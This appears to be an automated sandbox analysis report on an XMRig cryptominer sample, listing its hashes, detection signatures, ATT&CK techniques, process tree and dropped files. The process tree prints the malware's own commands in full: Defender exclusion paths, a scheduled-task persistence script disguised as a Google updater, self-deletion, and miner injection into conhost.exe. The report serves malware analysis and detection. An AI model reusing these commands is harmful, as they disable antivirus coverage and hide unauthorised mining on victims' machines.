xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
454s
max time network
1790s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target

grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1400 created 1188	1400	JqLvG94UkYjhxAeg.exe	15
PID 1400 created 1188	1400	JqLvG94UkYjhxAeg.exe	15
PID 1400 created 1188	1400	JqLvG94UkYjhxAeg.exe	15
PID 1400 created 1188	1400	JqLvG94UkYjhxAeg.exe	15
PID 2948 created 1188	2948	updater.exe	15
PID 2948 created 1188	2948	updater.exe	15
PID 2948 created 1188	2948	updater.exe	15
PID 2948 created 1188	2948	updater.exe	15
PID 404 created 1188	404	conhost.exe	15
PID 2948 created 1188	2948	updater.exe	15

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral15/memory/2984-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2984-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2568	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2948	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1796	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral15/memory/2984-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2984-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2948 set thread context of 404	2948	updater.exe	49
PID 2948 set thread context of 2984	2948	updater.exe	51

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	JqLvG94UkYjhxAeg.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2068	schtasks.exe
2772	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1528	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 305b67319f51da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1400	JqLvG94UkYjhxAeg.exe
1400	JqLvG94UkYjhxAeg.exe
2228	powershell.exe
1400	JqLvG94UkYjhxAeg.exe
1400	JqLvG94UkYjhxAeg.exe
2732	powershell.exe
1400	JqLvG94UkYjhxAeg.exe
1400	JqLvG94UkYjhxAeg.exe
1400	JqLvG94UkYjhxAeg.exe
1400	JqLvG94UkYjhxAeg.exe
2720	powershell.exe
2948	updater.exe
2948	updater.exe
1584	powershell.exe
2948	updater.exe
2948	updater.exe
2496	powershell.exe
2948	updater.exe
2948	updater.exe
2948	updater.exe
2948	updater.exe
404	conhost.exe
404	conhost.exe
2948	updater.exe
2948	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2228	powershell.exe
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	2496	powershell.exe
Token: SeDebugPrivilege	2948	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1528	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1528	WMIC.exe
Token: SeSecurityPrivilege	1528	WMIC.exe
Token: SeTakeOwnershipPrivilege	1528	WMIC.exe
Token: SeLoadDriverPrivilege	1528	WMIC.exe
Token: SeSystemtimePrivilege	1528	WMIC.exe
Token: SeBackupPrivilege	1528	WMIC.exe
Token: SeRestorePrivilege	1528	WMIC.exe
Token: SeShutdownPrivilege	1528	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1528	WMIC.exe
Token: SeUndockPrivilege	1528	WMIC.exe
Token: SeManageVolumePrivilege	1528	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1528	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1528	WMIC.exe
Token: SeSecurityPrivilege	1528	WMIC.exe
Token: SeTakeOwnershipPrivilege	1528	WMIC.exe
Token: SeLoadDriverPrivilege	1528	WMIC.exe
Token: SeSystemtimePrivilege	1528	WMIC.exe
Token: SeBackupPrivilege	1528	WMIC.exe
Token: SeRestorePrivilege	1528	WMIC.exe
Token: SeShutdownPrivilege	1528	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1528	WMIC.exe
Token: SeUndockPrivilege	1528	WMIC.exe
Token: SeManageVolumePrivilege	1528	WMIC.exe
Token: SeLockMemoryPrivilege	2984	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 2772	2732	powershell.exe	32
PID 2732 wrote to memory of 2772	2732	powershell.exe	32
PID 2732 wrote to memory of 2772	2732	powershell.exe	32
PID 2568 wrote to memory of 2680	2568	cmd.exe	33
PID 2568 wrote to memory of 2680	2568	cmd.exe	33
PID 2568 wrote to memory of 2680	2568	cmd.exe	33
PID 2720 wrote to memory of 1960	2720	powershell.exe	35
PID 2720 wrote to memory of 1960	2720	powershell.exe	35
PID 2720 wrote to memory of 1960	2720	powershell.exe	35
PID 1796 wrote to memory of 2948	1796	taskeng.exe	36
PID 1796 wrote to memory of 2948	1796	taskeng.exe	36
PID 1796 wrote to memory of 2948	1796	taskeng.exe	36
PID 2496 wrote to memory of 2068	2496	powershell.exe	53
PID 2496 wrote to memory of 2068	2496	powershell.exe	53
PID 2496 wrote to memory of 2068	2496	powershell.exe	53
PID 2948 wrote to memory of 404	2948	updater.exe	49
PID 1700 wrote to memory of 1528	1700	cmd.exe	52
PID 1700 wrote to memory of 1528	1700	cmd.exe	52
PID 1700 wrote to memory of 1528	1700	cmd.exe	52
PID 2948 wrote to memory of 2984	2948	updater.exe	51

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1188
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2772
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2496
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2068
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1700
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1528
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1736
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:404
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2984

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2680

C:\Windows\system32\taskeng.exe
taskeng.exe {B7395D91-D187-4BCA-BDB0-75D5570E3E36} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1796
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2948

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:1960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
289KB

MD5
49a8b35ea9be64b9634d976c979110cd

SHA1
a98fccbdb6be49cb47236408fc5329b559d0fc63

SHA256
223d5c344db19c457f31150649286cd893564558bb6966c7e0f7a5cd38a384eb

SHA512
674e452184d1a5b774f707a782cde48634b4d710353a3669371ecf6fefe20c8ad4ffc0f870877f248afd990f3215af6733296f14fabd2e79d59cccd0cd7beb43

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
139KB

MD5
d770076465bdba0d6c583a6791ccf51c

SHA1
d8411f3a7db3dff178763aeca05f8f91f73f0338

SHA256
0fc79107a624259871e84ab2131f1500e55c62b1115321c94362d8f61b5a484e

SHA512
e0f81fa987f64ba01f7fc70872b601c72b4ae9a0cfdf55225775a788032c99e194071d20e69d83c8a221c3a0211d32af43d35fae68a5a92e5c68d0192d9130e7

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3832096173dc2689a8236446fc44a25d

SHA1
365d96364c5dbccbc06e72bc3613a9bbe1255a4f

SHA256
cd58c2e3546a658548094a0dc04b61e5aa37ec4af62aa104ef61df15ba710a74

SHA512
6284d2e24eeb0f1203281a287fb43bb2d21f2ab95b50a5ad5bb6f47f849250c2f112886c1c4bbc270e878e02c83e098a26c430ace611ba7d54e932b442bc54ee

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
543KB

MD5
b5b231dd32d973e1d713080ebf7f6615

SHA1
bc0ae4f73e3058595e8a692d5cb06b08ac749f66

SHA256
1a67c4d1406b3323f08f3cab7577d470d58940329ce5bfe6bcb0a8757e7e7c4e

SHA512
93f4205dd35913501d42616ed4c007a917f4217d3bef6ed842254a3b7f38f7ec9ebdd58bb4f5af47dc2b2f0295953e476322247c7ed329383661c5de47604c99

Download Submit
memory/404-71-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/404-77-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1400-29-0x000000013F850000-0x000000013FA61000-memory.dmp

Filesize
2.1MB

Download
memory/1400-0-0x000000013F850000-0x000000013FA61000-memory.dmp

Filesize
2.1MB

Download
memory/1584-49-0x00000000008D0000-0x0000000000950000-memory.dmp

Filesize
512KB

Download
memory/1584-50-0x00000000008D0000-0x0000000000950000-memory.dmp

Filesize
512KB

Download
memory/1584-46-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/1584-48-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/1584-47-0x00000000008D0000-0x0000000000950000-memory.dmp

Filesize
512KB

Download
memory/1584-52-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/1584-51-0x00000000008D0000-0x0000000000950000-memory.dmp

Filesize
512KB

Download
memory/2228-13-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-12-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2228-8-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2228-9-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2228-7-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-10-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2228-6-0x0000000001DD0000-0x0000000001DD8000-memory.dmp

Filesize
32KB

Download
memory/2228-5-0x000000001B4B0000-0x000000001B792000-memory.dmp

Filesize
2.9MB

Download
memory/2228-11-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2496-59-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2496-54-0x0000000001570000-0x00000000015F0000-memory.dmp

Filesize
512KB

Download
memory/2496-53-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2496-56-0x0000000001570000-0x00000000015F0000-memory.dmp

Filesize
512KB

Download
memory/2496-58-0x0000000001570000-0x00000000015F0000-memory.dmp

Filesize
512KB

Download
memory/2496-57-0x0000000001570000-0x00000000015F0000-memory.dmp

Filesize
512KB

Download
memory/2496-55-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2720-40-0x0000000002B70000-0x0000000002BF0000-memory.dmp

Filesize
512KB

Download
memory/2720-35-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2720-37-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2720-39-0x0000000002B70000-0x0000000002BF0000-memory.dmp

Filesize
512KB

Download
memory/2720-41-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2720-38-0x0000000002B70000-0x0000000002BF0000-memory.dmp

Filesize
512KB

Download
memory/2720-36-0x0000000002B70000-0x0000000002BF0000-memory.dmp

Filesize
512KB

Download
memory/2732-27-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/2732-20-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/2732-24-0x00000000029E0000-0x0000000002A60000-memory.dmp

Filesize
512KB

Download
memory/2732-25-0x00000000029E0000-0x0000000002A60000-memory.dmp

Filesize
512KB

Download
memory/2732-26-0x00000000029E0000-0x0000000002A60000-memory.dmp

Filesize
512KB

Download
memory/2732-22-0x00000000029E0000-0x0000000002A60000-memory.dmp

Filesize
512KB

Download
memory/2732-23-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/2732-21-0x00000000029A0000-0x00000000029A8000-memory.dmp

Filesize
32KB

Download
memory/2732-19-0x000000001B540000-0x000000001B822000-memory.dmp

Filesize
2.9MB

Download
memory/2948-45-0x000000013F1E0000-0x000000013F3F1000-memory.dmp

Filesize
2.1MB

Download
memory/2948-66-0x000000013F1E0000-0x000000013F3F1000-memory.dmp

Filesize
2.1MB

Download
memory/2984-68-0x00000000001C0000-0x00000000001E0000-memory.dmp

Filesize
128KB

Download
memory/2984-70-0x0000000000290000-0x00000000002B0000-memory.dmp

Filesize
128KB

Download
memory/2984-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-69-0x0000000000250000-0x0000000000270000-memory.dmp

Filesize
128KB

Download
memory/2984-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-76-0x0000000000290000-0x00000000002B0000-memory.dmp

Filesize
128KB

Download
memory/2984-75-0x0000000000250000-0x0000000000270000-memory.dmp

Filesize
128KB

Download
memory/2984-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-67-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
